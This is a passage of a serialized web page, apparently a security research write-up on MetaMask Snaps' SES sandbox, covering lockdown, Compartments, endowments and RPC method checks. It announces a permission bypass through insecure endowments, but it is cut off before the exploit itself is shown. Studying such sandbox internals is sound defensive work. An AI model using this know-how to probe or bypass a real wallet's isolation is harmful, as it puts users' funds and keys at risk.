Fundamentals",{"type":22,"tag":41342,"props":41343,"children":41344},"h5",{"id":41312},[41345],{"type":27,"value":41346},"Lockdown",{"type":22,"tag":23,"props":41348,"children":41349},{},[41350,41352,41358],{"type":27,"value":41351},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":22,"tag":30,"props":41353,"children":41355},{"className":41354},[],[41356],{"type":27,"value":41357},"lockdown()",{"type":27,"value":41359}," function, which protects javascript objects against some attacks, mainly:",{"type":22,"tag":6828,"props":41361,"children":41362},{},[41363,41376],{"type":22,"tag":6832,"props":41364,"children":41365},{},[41366,41368,41374],{"type":27,"value":41367},"Prototype Pollution\nLockdown executes ",{"type":22,"tag":30,"props":41369,"children":41371},{"className":41370},[],[41372],{"type":27,"value":41373},"Object.freeze",{"type":27,"value":41375}," against all javascript builtins prototypes, preventing these attacks.",{"type":22,"tag":6832,"props":41377,"children":41378},{},[41379,41381,41387,41389,41395],{"type":27,"value":41380},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":22,"tag":30,"props":41382,"children":41384},{"className":41383},[],[41385],{"type":27,"value":41386},"trace",{"type":27,"value":41388}," attribute in an ",{"type":22,"tag":30,"props":41390,"children":41392},{"className":41391},[],[41393],{"type":27,"value":41394},"Error",{"type":27,"value":41396}," object, which contains the stack trace of the error.",{"type":22,"tag":41342,"props":41398,"children":41400},{"id":41399},"compartment",[41401],{"type":27,"value":41402},"Compartment",{"type":22,"tag":23,"props":41404,"children":41405},{},[41406,41408,41414,41416,41421],{"type":27,"value":41407},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":22,"tag":30,"props":41409,"children":41411},{"className":41410},[],[41412],{"type":27,"value":41413},"globalThis",{"type":27,"value":41415}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":22,"tag":30,"props":41417,"children":41419},{"className":41418},[],[41420],{"type":27,"value":41413},{"type":27,"value":41422}," context is incapable of tampering with security.",{"type":22,"tag":91,"props":41424,"children":41426},{"className":39610,"code":41425,"language":39612,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[41427],{"type":22,"tag":30,"props":41428,"children":41429},{"__ignoreMap":7},[41430,41459,41492],{"type":22,"tag":101,"props":41431,"children":41432},{"class":103,"line":104},[41433,41437,41442,41446,41450,41455],{"type":22,"tag":101,"props":41434,"children":41435},{"style":108},[41436],{"type":27,"value":13660},{"type":22,"tag":101,"props":41438,"children":41439},{"style":126},[41440],{"type":27,"value":41441}," c",{"type":22,"tag":101,"props":41443,"children":41444},{"style":166},[41445],{"type":27,"value":960},{"type":22,"tag":101,"props":41447,"children":41448},{"style":108},[41449],{"type":27,"value":35929},{"type":22,"tag":101,"props":41451,"children":41452},{"style":926},[41453],{"type":27,"value":41454}," Compartment",{"type":22,"tag":101,"props":41456,"children":41457},{"style":120},[41458],{"type":27,"value":934},{"type":22,"tag":101,"props":41460,"children":41461},{"class":103,"line":157},[41462,41466,41470,41474,41478,41483,41487],{"type":22,"tag":101,"props":41463,"children":41464},{"style":126},[41465],{"type":27,"value":7187},{"type":22,"tag":101,"props":41467,"children":41468},{"style":120},[41469],{"type":27,"value":231},{"type":22,"tag":101,"props":41471,"children":41472},{"style":126},[41473],{"type":27,"value":41413},{"type":22,"tag":101,"props":41475,"children":41476},{"style":166},[41477],{"type":27,"value":35418},{"type":22,"tag":101,"props":41479,"children":41480},{"style":126},[41481],{"type":27,"value":41482}," globalThis",{"type":22,"tag":101,"props":41484,"children":41485},{"style":120},[41486],{"type":27,"value":21224},{"type":22,"tag":101,"props":41488,"children":41489},{"style":2215},[41490],{"type":27,"value":41491},"// false\n",{"type":22,"tag":101,"props":41493,"children":41494},{"class":103,"line":182},[41495,41499,41503,41507,41511,41516,41520,41525,41529],{"type":22,"tag":101,"props":41496,"children":41497},{"style":126},[41498],{"type":27,"value":7187},{"type":22,"tag":101,"props":41500,"children":41501},{"style":120},[41502],{"type":27,"value":231},{"type":22,"tag":101,"props":41504,"children":41505},{"style":126},[41506],{"type":27,"value":41413},{"type":22,"tag":101,"props":41508,"children":41509},{"style":120},[41510],{"type":27,"value":231},{"type":22,"tag":101,"props":41512,"children":41513},{"style":126},[41514],{"type":27,"value":41515},"JSON",{"type":22,"tag":101,"props":41517,"children":41518},{"style":166},[41519],{"type":27,"value":35418},{"type":22,"tag":101,"props":41521,"children":41522},{"style":126},[41523],{"type":27,"value":41524}," JSON",{"type":22,"tag":101,"props":41526,"children":41527},{"style":120},[41528],{"type":27,"value":21224},{"type":22,"tag":101,"props":41530,"children":41531},{"style":2215},[41532],{"type":27,"value":41533},"// true\n",{"type":22,"tag":23,"props":41535,"children":41536},{},[41537,41539,41545,41547,41553,41555,41560],{"type":27,"value":41538},"Compartment also changes the behaviour of evaluators functions such as ",{"type":22,"tag":30,"props":41540,"children":41542},{"className":41541},[],[41543],{"type":27,"value":41544},"eval",{"type":27,"value":41546}," and the ",{"type":22,"tag":30,"props":41548,"children":41550},{"className":41549},[],[41551],{"type":27,"value":41552},"Function",{"type":27,"value":41554}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":22,"tag":30,"props":41556,"children":41558},{"className":41557},[],[41559],{"type":27,"value":41413},{"type":27,"value":231},{"type":22,"tag":41342,"props":41562,"children":41564},{"id":41563},"endowments",[41565],{"type":27,"value":41566},"Endowments",{"type":22,"tag":23,"props":41568,"children":41569},{},[41570,41572,41576,41578,41583],{"type":27,"value":41571},"While creating a Compartment, it is possible to specify ",{"type":22,"tag":6961,"props":41573,"children":41574},{},[41575],{"type":27,"value":41563},{"type":27,"value":41577},". These endowments constitute objects that become accessible within the Compartment's ",{"type":22,"tag":30,"props":41579,"children":41581},{"className":41580},[],[41582],{"type":27,"value":41413},{"type":27,"value":41584},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":22,"tag":23,"props":41586,"children":41587},{},[41588,41590,41596],{"type":27,"value":41589},"In addition, SES provides the ",{"type":22,"tag":30,"props":41591,"children":41593},{"className":41592},[],[41594],{"type":27,"value":41595},"harden()",{"type":27,"value":41597}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":22,"tag":22883,"props":41599,"children":41601},{"id":41600},"setting-up-snaps-execution-env",[41602],{"type":27,"value":41603},"Setting up Snaps Execution Env",{"type":22,"tag":23,"props":41605,"children":41606},{},[41607],{"type":27,"value":41608},"When starting a snap, the setup follows these steps:",{"type":22,"tag":6828,"props":41610,"children":41611},{},[41612],{"type":22,"tag":6832,"props":41613,"children":41614},{},[41615],{"type":22,"tag":9370,"props":41616,"children":41617},{},[41618,41620],{"type":27,"value":41619},"Create endowments based on snap ",{"type":22,"tag":80,"props":41621,"children":41624},{"href":41622,"rel":41623},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[84],[41625],{"type":27,"value":41626},"permissions",{"type":22,"tag":91,"props":41628,"children":41630},{"className":39610,"code":41629,"language":39612,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[41631],{"type":22,"tag":30,"props":41632,"children":41633},{"__ignoreMap":7},[41634,41684,41696,41707,41719,41731],{"type":22,"tag":101,"props":41635,"children":41636},{"class":103,"line":104},[41637,41641,41645,41649,41653,41658,41662,41667,41671,41675,41680],{"type":22,"tag":101,"props":41638,"children":41639},{"style":108},[41640],{"type":27,"value":13660},{"type":22,"tag":101,"props":41642,"children":41643},{"style":120},[41644],{"type":27,"value":1479},{"type":22,"tag":101,"props":41646,"children":41647},{"style":126},[41648],{"type":27,"value":41563},{"type":22,"tag":101,"props":41650,"children":41651},{"style":120},[41652],{"type":27,"value":758},{"type":22,"tag":101,"props":41654,"children":41655},{"style":126},[41656],{"type":27,"value":41657},"teardown",{"type":22,"tag":101,"props":41659,"children":41660},{"style":120},[41661],{"type":27,"value":19332},{"type":22,"tag":101,"props":41663,"children":41664},{"style":126},[41665],{"type":27,"value":41666},"endowmentTeardown",{"type":22,"tag":101,"props":41668,"children":41669},{"style":120},[41670],{"type":27,"value":1506},{"type":22,"tag":101,"props":41672,"children":41673},{"style":166},[41674],{"type":27,"value":1511},{"type":22,"tag":101,"props":41676,"children":41677},{"style":926},[41678],{"type":27,"value":41679}," createEndowments",{"type":22,"tag":101,"props":41681,"children":41682},{"style":120},[41683],{"type":27,"value":1850},{"type":22,"tag":101,"props":41685,"children":41686},{"class":103,"line":157},[41687,41692],{"type":22,"tag":101,"props":41688,"children":41689},{"style":126},[41690],{"type":27,"value":41691}," snap",{"type":22,"tag":101,"props":41693,"children":41694},{"style":120},[41695],{"type":27,"value":179},{"type":22,"tag":101,"props":41697,"children":41698},{"class":103,"line":182},[41699,41703],{"type":22,"tag":101,"props":41700,"children":41701},{"style":126},[41702],{"type":27,"value":35480},{"type":22,"tag":101,"props":41704,"children":41705},{"style":120},[41706],{"type":27,"value":179},{"type":22,"tag":101,"props":41708,"children":41709},{"class":103,"line":367},[41710,41715],{"type":22,"tag":101,"props":41711,"children":41712},{"style":126},[41713],{"type":27,"value":41714}," snapId",{"type":22,"tag":101,"props":41716,"children":41717},{"style":120},[41718],{"type":27,"value":179},{"type":22,"tag":101,"props":41720,"children":41721},{"class":103,"line":398},[41722,41727],{"type":22,"tag":101,"props":41723,"children":41724},{"style":126},[41725],{"type":27,"value":41726}," _endowments",{"type":22,"tag":101,"props":41728,"children":41729},{"style":120},[41730],{"type":27,"value":179},{"type":22,"tag":101,"props":41732,"children":41733},{"class":103,"line":428},[41734],{"type":22,"tag":101,"props":41735,"children":41736},{"style":120},[41737],{"type":27,"value":994},{"type":22,"tag":23,"props":41739,"children":41740},{},[41741],{"type":27,"value":41742},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":22,"tag":23,"props":41744,"children":41745},{},[41746,41748,41754,41756,41762],{"type":27,"value":41747},"One clear example is the ",{"type":22,"tag":30,"props":41749,"children":41751},{"className":41750},[],[41752],{"type":27,"value":41753},"endowment:network-access",{"type":27,"value":41755}," permission, that adds the ",{"type":22,"tag":30,"props":41757,"children":41759},{"className":41758},[],[41760],{"type":27,"value":41761},"fetch()",{"type":27,"value":41763}," function to the endowments.",{"type":22,"tag":23,"props":41765,"children":41766},{},[41767,41769,41775],{"type":27,"value":41768},"All endowments are protected with the ",{"type":22,"tag":30,"props":41770,"children":41772},{"className":41771},[],[41773],{"type":27,"value":41774},"harden",{"type":27,"value":41776}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":22,"tag":6828,"props":41778,"children":41779},{"start":157},[41780],{"type":22,"tag":6832,"props":41781,"children":41782},{},[41783],{"type":22,"tag":9370,"props":41784,"children":41785},{},[41786,41788],{"type":27,"value":41787},"Create the snap ",{"type":22,"tag":80,"props":41789,"children":41792},{"href":41790,"rel":41791},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[84],[41793],{"type":27,"value":41399},{"type":22,"tag":91,"props":41795,"children":41797},{"className":39610,"code":41796,"language":39612,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[41798],{"type":22,"tag":30,"props":41799,"children":41800},{"__ignoreMap":7},[41801,41829,41845,41862,41887],{"type":22,"tag":101,"props":41802,"children":41803},{"class":103,"line":104},[41804,41808,41813,41817,41821,41825],{"type":22,"tag":101,"props":41805,"children":41806},{"style":108},[41807],{"type":27,"value":13660},{"type":22,"tag":101,"props":41809,"children":41810},{"style":126},[41811],{"type":27,"value":41812}," compartment",{"type":22,"tag":101,"props":41814,"children":41815},{"style":166},[41816],{"type":27,"value":960},{"type":22,"tag":101,"props":41818,"children":41819},{"style":108},[41820],{"type":27,"value":35929},{"type":22,"tag":101,"props":41822,"children":41823},{"style":926},[41824],{"type":27,"value":41454},{"type":22,"tag":101,"props":41826,"children":41827},{"style":120},[41828],{"type":27,"value":19142},{"type":22,"tag":101,"props":41830,"children":41831},{"class":103,"line":157},[41832,41837,41841],{"type":22,"tag":101,"props":41833,"children":41834},{"style":166},[41835],{"type":27,"value":41836}," ...",{"type":22,"tag":101,"props":41838,"children":41839},{"style":126},[41840],{"type":27,"value":41563},{"type":22,"tag":101,"props":41842,"children":41843},{"style":120},[41844],{"type":27,"value":179},{"type":22,"tag":101,"props":41846,"children":41847},{"class":103,"line":182},[41848,41853,41858],{"type":22,"tag":101,"props":41849,"children":41850},{"style":126},[41851],{"type":27,"value":41852}," module:",{"type":22,"tag":101,"props":41854,"children":41855},{"style":126},[41856],{"type":27,"value":41857}," snapModule",{"type":22,"tag":101,"props":41859,"children":41860},{"style":120},[41861],{"type":27,"value":179},{"type":22,"tag":101,"props":41863,"children":41864},{"class":103,"line":367},[41865,41870,41874,41878,41883],{"type":22,"tag":101,"props":41866,"children":41867},{"style":126},[41868],{"type":27,"value":41869}," exports:",{"type":22,"tag":101,"props":41871,"children":41872},{"style":126},[41873],{"type":27,"value":41857},{"type":22,"tag":101,"props":41875,"children":41876},{"style":120},[41877],{"type":27,"value":231},{"type":22,"tag":101,"props":41879,"children":41880},{"style":126},[41881],{"type":27,"value":41882},"exports",{"type":22,"tag":101,"props":41884,"children":41885},{"style":120},[41886],{"type":27,"value":179},{"type":22,"tag":101,"props":41888,"children":41889},{"class":103,"line":398},[41890],{"type":22,"tag":101,"props":41891,"children":41892},{"style":120},[41893],{"type":27,"value":39334},{"type":22,"tag":23,"props":41895,"children":41896},{},[41897,41899,41905,41906,41911,41913,41918],{"type":27,"value":41898},"Note: ",{"type":22,"tag":30,"props":41900,"children":41902},{"className":41901},[],[41903],{"type":27,"value":41904},"module",{"type":27,"value":209},{"type":22,"tag":30,"props":41907,"children":41909},{"className":41908},[],[41910],{"type":27,"value":41882},{"type":27,"value":41912}," are passed as endowments, but without being ",{"type":22,"tag":6961,"props":41914,"children":41915},{},[41916],{"type":27,"value":41917},"hardened",{"type":27,"value":41919},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":22,"tag":6828,"props":41921,"children":41922},{"start":182},[41923],{"type":22,"tag":6832,"props":41924,"children":41925},{},[41926],{"type":22,"tag":9370,"props":41927,"children":41928},{},[41929,41931],{"type":27,"value":41930},"Evaluate the snap code inside the ",{"type":22,"tag":80,"props":41932,"children":41935},{"href":41933,"rel":41934},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[84],[41936],{"type":27,"value":41399},{"type":22,"tag":91,"props":41938,"children":41940},{"className":39610,"code":41939,"language":39612,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n compartment.evaluate(sourceCode);\n this.registerSnapExports(snapId, snapModule);\n});\n",[41941],{"type":22,"tag":30,"props":41942,"children":41943},{"__ignoreMap":7},[41944,41985,42015,42052],{"type":22,"tag":101,"props":41945,"children":41946},{"class":103,"line":104},[41947,41951,41955,41959,41964,41968,41972,41977,41981],{"type":22,"tag":101,"props":41948,"children":41949},{"style":3595},[41950],{"type":27,"value":36912},{"type":22,"tag":101,"props":41952,"children":41953},{"style":108},[41954],{"type":27,"value":39713},{"type":22,"tag":101,"props":41956,"children":41957},{"style":120},[41958],{"type":27,"value":231},{"type":22,"tag":101,"props":41960,"children":41961},{"style":926},[41962],{"type":27,"value":41963},"executeInSnapContext",{"type":22,"tag":101,"props":41965,"children":41966},{"style":120},[41967],{"type":27,"value":980},{"type":22,"tag":101,"props":41969,"children":41970},{"style":126},[41971],{"type":27,"value":40017},{"type":22,"tag":101,"props":41973,"children":41974},{"style":120},[41975],{"type":27,"value":41976},", () ",{"type":22,"tag":101,"props":41978,"children":41979},{"style":108},[41980],{"type":27,"value":18823},{"type":22,"tag":101,"props":41982,"children":41983},{"style":120},[41984],{"type":27,"value":154},{"type":22,"tag":101,"props":41986,"children":41987},{"class":103,"line":157},[41988,41993,41997,42002,42006,42011],{"type":22,"tag":101,"props":41989,"children":41990},{"style":126},[41991],{"type":27,"value":41992}," compartment",{"type":22,"tag":101,"props":41994,"children":41995},{"style":120},[41996],{"type":27,"value":231},{"type":22,"tag":101,"props":41998,"children":41999},{"style":926},[42000],{"type":27,"value":42001},"evaluate",{"type":22,"tag":101,"props":42003,"children":42004},{"style":120},[42005],{"type":27,"value":980},{"type":22,"tag":101,"props":42007,"children":42008},{"style":126},[42009],{"type":27,"value":42010},"sourceCode",{"type":22,"tag":101,"props":42012,"children":42013},{"style":120},[42014],{"type":27,"value":994},{"type":22,"tag":101,"props":42016,"children":42017},{"class":103,"line":182},[42018,42022,42026,42031,42035,42039,42043,42048],{"type":22,"tag":101,"props":42019,"children":42020},{"style":108},[42021],{"type":27,"value":40061},{"type":22,"tag":101,"props":42023,"children":42024},{"style":120},[42025],{"type":27,"value":231},{"type":22,"tag":101,"props":42027,"children":42028},{"style":926},[42029],{"type":27,"value":42030},"registerSnapExports",{"type":22,"tag":101,"props":42032,"children":42033},{"style":120},[42034],{"type":27,"value":980},{"type":22,"tag":101,"props":42036,"children":42037},{"style":126},[42038],{"type":27,"value":40017},{"type":22,"tag":101,"props":42040,"children":42041},{"style":120},[42042],{"type":27,"value":758},{"type":22,"tag":101,"props":42044,"children":42045},{"style":126},[42046],{"type":27,"value":42047},"snapModule",{"type":22,"tag":101,"props":42049,"children":42050},{"style":120},[42051],{"type":27,"value":994},{"type":22,"tag":101,"props":42053,"children":42054},{"class":103,"line":367},[42055],{"type":22,"tag":101,"props":42056,"children":42057},{"style":120},[42058],{"type":27,"value":39334},{"type":22,"tag":23,"props":42060,"children":42061},{},[42062,42064,42070,42071,42077,42078,42084],{"type":27,"value":42063},"According to the documentation, the snap must contain one of the following function exports: ",{"type":22,"tag":30,"props":42065,"children":42067},{"className":42066},[],[42068],{"type":27,"value":42069},"onRpcRequest",{"type":27,"value":758},{"type":22,"tag":30,"props":42072,"children":42074},{"className":42073},[],[42075],{"type":27,"value":42076},"onTransaction",{"type":27,"value":17136},{"type":22,"tag":30,"props":42079,"children":42081},{"className":42080},[],[42082],{"type":27,"value":42083},"onCronjob",{"type":27,"value":231},{"type":22,"tag":23,"props":42086,"children":42087},{},[42088,42090,42095],{"type":27,"value":42089},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":22,"tag":30,"props":42091,"children":42093},{"className":42092},[],[42094],{"type":27,"value":41413},{"type":27,"value":42096}," environment of that Compartment.",{"type":22,"tag":23,"props":42098,"children":42099},{},[42100],{"type":27,"value":42101},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":22,"tag":53,"props":42103,"children":42105},{"id":42104},"vulnerability-research",[42106],{"type":27,"value":42107},"Vulnerability research",{"type":22,"tag":1760,"props":42109,"children":42111},{"id":42110},"possible-attacks",[42112],{"type":27,"value":42113},"Possible attacks",{"type":22,"tag":23,"props":42115,"children":42116},{},[42117],{"type":27,"value":42118},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":22,"tag":6839,"props":42120,"children":42121},{},[42122,42127,42132,42137],{"type":22,"tag":6832,"props":42123,"children":42124},{},[42125],{"type":27,"value":42126},"Broken SES Container isolation",{"type":22,"tag":6832,"props":42128,"children":42129},{},[42130],{"type":27,"value":42131},"Insecure endowments in Containers",{"type":22,"tag":6832,"props":42133,"children":42134},{},[42135],{"type":27,"value":42136},"Incorrect RPC permission checks",{"type":22,"tag":6832,"props":42138,"children":42139},{},[42140],{"type":27,"value":42141},"Insecure snap installation/update",{"type":22,"tag":23,"props":42143,"children":42144},{},[42145],{"type":27,"value":42146},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":22,"tag":23,"props":42148,"children":42149},{},[42150],{"type":27,"value":42151},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":22,"tag":1760,"props":42153,"children":42155},{"id":42154},"rpc-interfaces-endowments",[42156],{"type":27,"value":42157},"RPC interfaces endowments",{"type":22,"tag":22883,"props":42159,"children":42161},{"id":42160},"providers-limitations",[42162],{"type":27,"value":42163},"Providers limitations",{"type":22,"tag":23,"props":42165,"children":42166},{},[42167,42169,42175,42176,42181,42183,42190],{"type":27,"value":42168},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":22,"tag":30,"props":42170,"children":42172},{"className":42171},[],[42173],{"type":27,"value":42174},"snap",{"type":27,"value":209},{"type":22,"tag":30,"props":42177,"children":42179},{"className":42178},[],[42180],{"type":27,"value":35413},{"type":27,"value":42182}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":22,"tag":80,"props":42184,"children":42187},{"href":42185,"rel":42186},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[84],[42188],{"type":27,"value":42189},"methods",{"type":27,"value":169},{"type":22,"tag":91,"props":42192,"children":42194},{"className":39610,"code":42193,"language":39612,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[42195],{"type":22,"tag":30,"props":42196,"children":42197},{"__ignoreMap":7},[42198,42238,42246,42258,42328,42389,42401,42409,42420,42460,42490,42502,42527,42534,42542,42549,42587],{"type":22,"tag":101,"props":42199,"children":42200},{"class":103,"line":104},[42201,42206,42211,42216,42220,42225,42229,42234],{"type":22,"tag":101,"props":42202,"children":42203},{"style":3595},[42204],{"type":27,"value":42205},"export",{"type":22,"tag":101,"props":42207,"children":42208},{"style":108},[42209],{"type":27,"value":42210}," function",{"type":22,"tag":101,"props":42212,"children":42213},{"style":926},[42214],{"type":27,"value":42215}," assertSnapOutboundRequest",{"type":22,"tag":101,"props":42217,"children":42218},{"style":120},[42219],{"type":27,"value":980},{"type":22,"tag":101,"props":42221,"children":42222},{"style":126},[42223],{"type":27,"value":42224},"args",{"type":22,"tag":101,"props":42226,"children":42227},{"style":166},[42228],{"type":27,"value":169},{"type":22,"tag":101,"props":42230,"children":42231},{"style":114},[42232],{"type":27,"value":42233}," RequestArguments",{"type":22,"tag":101,"props":42235,"children":42236},{"style":120},[42237],{"type":27,"value":1463},{"type":22,"tag":101,"props":42239,"children":42240},{"class":103,"line":157},[42241],{"type":22,"tag":101,"props":42242,"children":42243},{"style":2215},[42244],{"type":27,"value":42245}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":22,"tag":101,"props":42247,"children":42248},{"class":103,"line":182},[42249,42254],{"type":22,"tag":101,"props":42250,"children":42251},{"style":926},[42252],{"type":27,"value":42253}," assert",{"type":22,"tag":101,"props":42255,"children":42256},{"style":120},[42257],{"type":27,"value":1850},{"type":22,"tag":101,"props":42259,"children":42260},{"class":103,"line":367},[42261,42266,42270,42275,42279,42284,42288,42293,42297,42301,42305,42310,42314,42319,42323],{"type":22,"tag":101,"props":42262,"children":42263},{"style":114},[42264],{"type":27,"value":42265}," String",{"type":22,"tag":101,"props":42267,"children":42268},{"style":120},[42269],{"type":27,"value":231},{"type":22,"tag":101,"props":42271,"children":42272},{"style":126},[42273],{"type":27,"value":42274},"prototype",{"type":22,"tag":101,"props":42276,"children":42277},{"style":120},[42278],{"type":27,"value":231},{"type":22,"tag":101,"props":42280,"children":42281},{"style":126},[42282],{"type":27,"value":42283},"startsWith",{"type":22,"tag":101,"props":42285,"children":42286},{"style":120},[42287],{"type":27,"value":231},{"type":22,"tag":101,"props":42289,"children":42290},{"style":926},[42291],{"type":27,"value":42292},"call",{"type":22,"tag":101,"props":42294,"children":42295},{"style":120},[42296],{"type":27,"value":980},{"type":22,"tag":101,"props":42298,"children":42299},{"style":126},[42300],{"type":27,"value":42224},{"type":22,"tag":101,"props":42302,"children":42303},{"style":120},[42304],{"type":27,"value":231},{"type":22,"tag":101,"props":42306,"children":42307},{"style":126},[42308],{"type":27,"value":42309},"method",{"type":22,"tag":101,"props":42311,"children":42312},{"style":120},[42313],{"type":27,"value":758},{"type":22,"tag":101,"props":42315,"children":42316},{"style":6476},[42317],{"type":27,"value":42318},"'wallet_'",{"type":22,"tag":101,"props":42320,"children":42321},{"style":120},[42322],{"type":27,"value":901},{"type":22,"tag":101,"props":42324,"children":42325},{"style":166},[42326],{"type":27,"value":42327},"||\n",{"type":22,"tag":101,"props":42329,"children":42330},{"class":103,"line":398},[42331,42336,42340,42344,42348,42352,42356,42360,42364,42368,42372,42376,42380,42385],{"type":22,"tag":101,"props":42332,"children":42333},{"style":114},[42334],{"type":27,"value":42335}," String",{"type":22,"tag":101,"props":42337,"children":42338},{"style":120},[42339],{"type":27,"value":231},{"type":22,"tag":101,"props":42341,"children":42342},{"style":126},[42343],{"type":27,"value":42274},{"type":22,"tag":101,"props":42345,"children":42346},{"style":120},[42347],{"type":27,"value":231},{"type":22,"tag":101,"props":42349,"children":42350},{"style":126},[42351],{"type":27,"value":42283},{"type":22,"tag":101,"props":42353,"children":42354},{"style":120},[42355],{"type":27,"value":231},{"type":22,"tag":101,"props":42357,"children":42358},{"style":926},[42359],{"type":27,"value":42292},{"type":22,"tag":101,"props":42361,"children":42362},{"style":120},[42363],{"type":27,"value":980},{"type":22,"tag":101,"props":42365,"children":42366},{"style":126},[42367],{"type":27,"value":42224},{"type":22,"tag":101,"props":42369,"children":42370},{"style":120},[42371],{"type":27,"value":231},{"type":22,"tag":101,"props":42373,"children":42374},{"style":126},[42375],{"type":27,"value":42309},{"type":22,"tag":101,"props":42377,"children":42378},{"style":120},[42379],{"type":27,"value":758},{"type":22,"tag":101,"props":42381,"children":42382},{"style":6476},[42383],{"type":27,"value":42384},"'snap_'",{"type":22,"tag":101,"props":42386,"children":42387},{"style":120},[42388],{"type":27,"value":1706},{"type":22,"tag":101,"props":42390,"children":42391},{"class":103,"line":428},[42392,42397],{"type":22,"tag":101,"props":42393,"children":42394},{"style":6476},[42395],{"type":27,"value":42396}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":22,"tag":101,"props":42398,"children":42399},{"style":120},[42400],{"type":27,"value":179},{"type":22,"tag":101,"props":42402,"children":42403},{"class":103,"line":997},[42404],{"type":22,"tag":101,"props":42405,"children":42406},{"style":120},[42407],{"type":27,"value":42408}," );\n",{"type":22,"tag":101,"props":42410,"children":42411},{"class":103,"line":1032},[42412,42416],{"type":22,"tag":101,"props":42413,"children":42414},{"style":926},[42415],{"type":27,"value":42253},{"type":22,"tag":101,"props":42417,"children":42418},{"style":120},[42419],{"type":27,"value":1850},{"type":22,"tag":101,"props":42421,"children":42422},{"class":103,"line":1063},[42423,42427,42432,42436,42440,42444,42448,42452,42456],{"type":22,"tag":101,"props":42424,"children":42425},{"style":166},[42426],{"type":27,"value":24957},{"type":22,"tag":101,"props":42428,"children":42429},{"style":126},[42430],{"type":27,"value":42431},"BLOCKED_RPC_METHODS",{"type":22,"tag":101,"props":42433,"children":42434},{"style":120},[42435],{"type":27,"value":231},{"type":22,"tag":101,"props":42437,"children":42438},{"style":926},[42439],{"type":27,"value":39177},{"type":22,"tag":101,"props":42441,"children":42442},{"style":120},[42443],{"type":27,"value":980},{"type":22,"tag":101,"props":42445,"children":42446},{"style":126},[42447],{"type":27,"value":42224},{"type":22,"tag":101,"props":42449,"children":42450},{"style":120},[42451],{"type":27,"value":231},{"type":22,"tag":101,"props":42453,"children":42454},{"style":126},[42455],{"type":27,"value":42309},{"type":22,"tag":101,"props":42457,"children":42458},{"style":120},[42459],{"type":27,"value":1706},{"type":22,"tag":101,"props":42461,"children":42462},{"class":103,"line":1071},[42463,42468,42472,42477,42481,42486],{"type":22,"tag":101,"props":42464,"children":42465},{"style":126},[42466],{"type":27,"value":42467}," ethErrors",{"type":22,"tag":101,"props":42469,"children":42470},{"style":120},[42471],{"type":27,"value":231},{"type":22,"tag":101,"props":42473,"children":42474},{"style":126},[42475],{"type":27,"value":42476},"rpc",{"type":22,"tag":101,"props":42478,"children":42479},{"style":120},[42480],{"type":27,"value":231},{"type":22,"tag":101,"props":42482,"children":42483},{"style":926},[42484],{"type":27,"value":42485},"methodNotFound",{"type":22,"tag":101,"props":42487,"children":42488},{"style":120},[42489],{"type":27,"value":19142},{"type":22,"tag":101,"props":42491,"children":42492},{"class":103,"line":1110},[42493,42498],{"type":22,"tag":101,"props":42494,"children":42495},{"style":126},[42496],{"type":27,"value":42497}," data:",{"type":22,"tag":101,"props":42499,"children":42500},{"style":120},[42501],{"type":27,"value":154},{"type":22,"tag":101,"props":42503,"children":42504},{"class":103,"line":1118},[42505,42510,42515,42519,42523],{"type":22,"tag":101,"props":42506,"children":42507},{"style":126},[42508],{"type":27,"value":42509}," method:",{"type":22,"tag":101,"props":42511,"children":42512},{"style":126},[42513],{"type":27,"value":42514}," 